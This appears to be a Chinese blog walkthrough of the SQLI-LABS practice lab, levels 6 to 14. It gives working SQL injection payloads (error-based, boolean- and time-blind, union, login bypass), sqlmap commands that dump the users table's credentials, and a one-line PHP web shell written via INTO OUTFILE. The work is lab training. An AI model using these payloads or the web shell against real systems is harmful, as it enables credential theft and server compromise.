当前位置:网站首页>SQLI-LABS通關(less6-less14)
SQLI-LABS通關(less6-less14)
2022-07-02 06:53:00 【徐記榮】
less-6
less-7
less-8
substr()
ascii()
sqlmap猜解GET請求數據庫
less-9
sleep()
less-10
less-11
less-12
less-13
less-14
less-6
按步驟來測閉合,
localhost/sqli/Less-6/?id=1" //報錯,並曝出後半段查詢語句 localhost/sqli/Less-6/?id=1"
//返回正確頁面
localhost/sqli/Less-6/?id=1"
//空值
經測得閉合為"(雙引號)的報錯型GET型注入
和第五關一樣,我們直接打印結果吧
updatexml()
localhost/sqli/Less-6/?id=1" and updatexml(1,concat(0x7e,(select CONCAT_WS(0x7e,username,password)from users limit 0,1)),0)-- - SELECT * FROM users WHERE id="1" and updatexml(1,concat(0x7e,(select CONCAT_WS(0x7e,username,password)from users limit 0,1)),0)-- -" LIMIT 0,1

extractvalue()
localhost/sqli/Less-6/?id=1" and extractvalue(1,concat(0x7e,(select CONCAT_WS(0x7e,username,password)from users limit 0,1)))-- - SELECT * FROM users WHERE id="1" and extractvalue(1,concat(0x7e,(select CONCAT_WS(0x7e,username,password)from users limit 0,1)))-- -" LIMIT 0,1

floor()
http://localhost/sqli/Less-6/?id=1" and (select 1 from (select count(*) ,concat((select CONCAT_WS(0x7e,username,password) from users limit 0,1),floor(rand(0)*2))x from users group by x)a) -- -
SELECT * FROM users WHERE id="1" and (select 1 from (select count(*) ,concat((select CONCAT_WS(0x7e,username,password) from users limit 0,1),floor(rand(0)*2))x from users group by x)a) -- -"LIMIT 0,1

看一下PHP源碼
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
less-7
'))閉合get型報錯型注入
和前面兩關一樣,只展示一下updatexml()
updatexml()
http://localhost/sqli/Less-7/?id=1')) and updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password)from users limit 0,1)),0)-- -
SELECT * FROM users WHERE id=(('1')) and updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password)from users limit 0,1)),0)-- -')) LIMIT 0,1

但我們發現標題是 GET - Dump into outfile -String
sql的文件導出漏洞,這牽扯到MySQL的一個函數
SELECT … INTO OUTFILE
語句來簡單的導出數據到文本文件上。
這就可以向服務器掛馬
這個比較
但你去導出文件會報錯
You have an error in your SQL syntaxThe MySQL server is running with the --secure-file-priv option so it cannot execute this statement

出現這個錯誤是因為沒有給數據庫指定寫出文件的路徑或者寫出的路徑有問題。
可以使用
show variables like '%secure%';


查看數據的存儲路徑,如果secure_file_priv是null的時候就證明在my.ini文件裏沒有配置寫出路徑。這時候去mysql.ini文件的[mysqld]代碼下增加secure_file_priv=D:/OUTFILE,就是加個指定路徑就可以導出文件了,所以這個東西應該很難利用起來
假如可以我們可以按如下傳個一句話木馬什麼的
')) union select "<?php @eval($_POST['sql']);?>" into outfile '路徑'
這裏我不寫了,不想寫
less-8
http://localhost/sqli/Less-8/?id=1' //空 http://localhost/sqli/Less-8/?id=1 and 1=1 //有值 http://localhost/sqli/Less-8/?id=1 and 1=2 //有值 http://localhost/sqli/Less-8/?id=1' and '1'='1 //有值 http://localhost/sqli/Less-8/?id=1' and '1'='2 //空 http://localhost/sqli/Less-8/?id=1' order by 3 -- -
//有值
應該是’(單引號)閉合的布爾型盲注
我們就可以用以下方式去猜測字符串
如下:
localhost/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))>115 -- - SELECT * FROM users WHERE id='1' and ascii(substr(database(),1,1))>115 -- -' LIMIT 0,1


localhost/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))=115 -- - SELECT * FROM users WHERE id='1' and ascii(substr(database(),1,1))=115 -- -' LIMIT 0,1


substr()
是個截取字符串函數,substr(database(),1,1)意思是截取數據庫名,從第一個字符開始截取一個字符,我們之前知道數據庫是 ‘security’,所以截取的字符是 ‘s’
ascii()
是將字符轉換為ASCII碼,‘s’ 對應的ASCII碼是115
所以上述操作對字符進行了兩次猜解,判斷數據庫名第一個字符是否>115,不大於所以頁面返回空,第二次猜解發現其等於115,可以得知數據庫第一個字符是’s’。
當然這是我們知道的前提下,不知道的話需要一點點用二分法猜解,非常慢,所以一般這種注入需要工具來猜解。
sqlmap猜解GET請求數據庫
我們使用sqlmap對其猜解,sqlmap使用方法大家自己搜,我不可能挨個介紹每個命令,我只能用到什麼說什麼
sqlmap -u "192.168.10.189/sqli/Less-8/?id=1" --dbs


直接曝出數據庫
sqlmap同時也給我們列出了注入類型以及所使用的payload
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
PHP內是寫了個記錄文件的,我們一跑直接插了一百多kb的東西進去,所以用sqlmap很容易給人家網站數據庫插入很多髒數據
sqlmap -u "192.168.10.189/sqli/Less-8/?id=1" -D security -tables


爆出所有錶,-D 用來指定數據庫,自己查用法,很簡單
sqlmap -u "192.168.10.189/sqli/Less-8/?id=1" -D security -T users --columns


曝出所有字段,-T 用來指定錶
sqlmap -u "192.168.10.189/sqli/Less-8/?id=1" -D security -T users -C "username,password" --dump

爆出所有字段值, -C 用來指定字段
sqlmap跑完這幾條數據就插了這麼多數據,所以還是不要亂搞
我們看一下源碼
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysqli_error($con1));
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
實際上就是把
print_r(mysqli_error($con1));
這條給去了
less-9
題目告訴我們是時間盲注
GET-Blind-Time based single Quotes
我們直接看一下源碼
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysqli_error($con1));
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
我們能看到不管是正確與否,頁面都顯示"You are in …",只是我們沒法從錶面上看出來,但不代錶SQL注入語句沒有執行,怎麼看有沒有注入呢,我們可以在payload裏加一段sleep()語句
sleep()
語法:
sleep(N)
N為數值,單比特是秒,加上此值,查詢語句會等待N秒執行
這個sleep也得看查詢語句有幾行,因為它是被當作一個字段
每生成一行數據它就會被執行一次,所以上面是3秒多
假設是兩行數據就是6秒多了,所以我們多次輸入payload發現結果都一樣時可以加一個sleep()函數來看頁面響應時間,來推斷是不是含有時間盲注
http://localhost/sqli/Less-9/?id=1' and sleep(3)-- -
SELECT * FROM users WHERE id='1' and sleep(3)-- -' LIMIT 0,1

手注的話可以這麼寫payload
1' and if((substr(database(),1,1))='s',sleep(5),null)
我們可以在開發者工具裏看看數據包響應時間,4秒多,說明確實存在注入點
不是回顯報錯,盲注手注都不太好搞,判斷方式跟盲注一樣,不過是加了時間的要求,我們直接拿sqlmap跑一下密碼
sqlmap -u "192.168.10.189/sqli/Less-9/?id=1" -D security -T users -C "username,password" --dump

less-10
看一下標題
GET - Blind-Time based - double quots
雙引號閉合的時間盲注,我們就不挨個試了跟之前回顯測試方法一樣,就是帶著時間去判斷,有點費時,我們只是sqlmap跑一下就好
sqlmap說沒注入點。。。
less-11
標題POST - Error Based - Single quotes -String
post類型的單引號閉合字符型回顯注入,我們看頁面其實也能看出來是post類型的注入
我們給個單引號就報錯了
我們可以猜測後半段查詢語句username=‘’ and password=‘’ LIMIT 0,1
我們這時候可以構建一個恒成立的查詢語句
' or 1=1 -- -

我們查看源碼
<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
error_reporting(0);
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
//echo '<font color= "#0000ff">';
echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in\n\n " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';
echo "</font>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysqli_error($con1));
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
?>

payload:' union select group_concat(username),group_concat(password) from users-- -
SELECT username, password FROM users WHERE username='' union select group_concat(username),group_concat(password) from users-- -' and password='' LIMIT 0,1

less-12
標題:POST -Error Based -Double quotes -String - with twist
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
看源碼,")閉合的post型回顯字符注入,原理跟11關一樣,我們直接拿密碼
payload:") union select group_concat(username),group_concat(password) from users -- -
SELECT username, password FROM users WHERE username=("") union select group_concat(username),group_concat(password) from users -- -") and password=("") LIMIT 0,1

less-13
標題:POST-Double injection - Single quotes String - with twist
payload:' //報錯,得知是')閉合
payload:') or 1=1 -- -
//得知是報錯型注入,不直接回顯值
還是updatexml()、extractvalue()、floor()
payload:') and updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password) from users limit 0,1)),0) -- -
SELECT username, password FROM users WHERE username=('') and updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password) from users limit 0,1)),0) -- -') and password=('') LIMIT 0,1

less-14
標題:POST - Double injection -Single quotes-String-with twist
payload:'
//無回顯
需要注意的是
SELECT username, password FROM users WHERE username="'" and password="" LIMIT 0,1

“”(雙引號)閉合以及(“”)(雙引號括號)閉合內的’(單引號)也是被當作字符串執行的,這時候給個雙引號就行,基本可以確定是不是雙引號閉合,以及有沒有采用mysqli-error($con)
payload:" //報錯,並爆出後半段查詢語句 """ and password="" LIMIT 0,1
可以看出是雙引號閉合的報錯型POST型字符型注入
跟上一個一樣,我們給一段payload
admin" and (select 1 from (select count(*) ,concat((select concat_ws(0x7e,username,password) from users limit 0,1),floor(rand(0)*2))x from users group by x)a) -- -
SELECT username, password FROM users WHERE username="admin" and (select 1 from (select count(*) ,concat((select concat_ws(0x7e,username,password) from users limit 0,1),floor(rand(0)*2))x from users group by x)a) -- -" and password="" LIMIT 0,1
這個floor()報錯需要and一個有效值,如果無效值會顯示空,這個方法需要我們已知一個信息,那就不太好利用了
假設不知道賬號是’admin’,那沒法報錯回顯的
边栏推荐
- Latex 编译报错 I found no \bibstyle & \bibdata & \citation command
- JS delete the last character of the string
- js把一个数组分割成每三个一组
- Stack (linear structure)
- DeprecationWarning: . ix is deprecated. Please use. loc for label based indexing or. iloc for positi
- Common function writing method and set get writing method for calculating attributes
- Cve-2015-1635 (ms15-034) Remote Code Execution Vulnerability recurrence
- Fe - weex uses a simple encapsulated data loading plug-in as the global loading method
- 20210306转载如何使TextEdit有背景图片
- [self cultivation of programmers] - Reflection on job hunting Part II
猜你喜欢

The win10 network icon disappears, and the network icon turns gray. Open the network and set the flash back to solve the problem

UEditor .Net版本任意文件上传漏洞复现

flex九宫格布局

20201002 vs 2019 qt5.14 developed program packaging

【文献阅读与想法笔记13】 Unprocessing Images for Learned Raw Denoising

js中map和forEach的用法

Apt command reports certificate error certificate verification failed: the certificate is not trusted

qq邮箱接收不到jenkins构建后使用email extension 发送的邮件(timestamp 或 auth.......)

In depth study of JVM bottom layer (3): garbage collector and memory allocation strategy

AWD learning
随机推荐
The table component specifies the concatenation parallel method
sqli-labs通关汇总-page3
Browser scrolling for more implementations
qq邮箱接收不到jenkins构建后使用email extension 发送的邮件(timestamp 或 auth.......)
ZZQ的博客目录--更新于20210601
Recursion (maze problem, Queen 8 problem)
Sublime text configuring PHP compilation environment
In depth study of JVM bottom layer (II): hotspot virtual machine object
SQLI-LABS通关(less18-less20)
Fe - use of weex development weex UI components and configuration use
Huawei mindspire open source internship machine test questions
selenium+msedgedriver+edge浏览器安装驱动的坑
How to try catch statements that return promise objects in JS
Queue (linear structure)
2020-9-23 use of QT timer qtimer class.
js删除字符串的最后一位
浏览器滚动加载更多实现
Common prototype methods of JS array
Unexpected inconsistency caused by abnormal power failure; Run fsck manually problem resolved
Latex 报错 LaTeX Error: The font size command \normalsize is not defined问题解决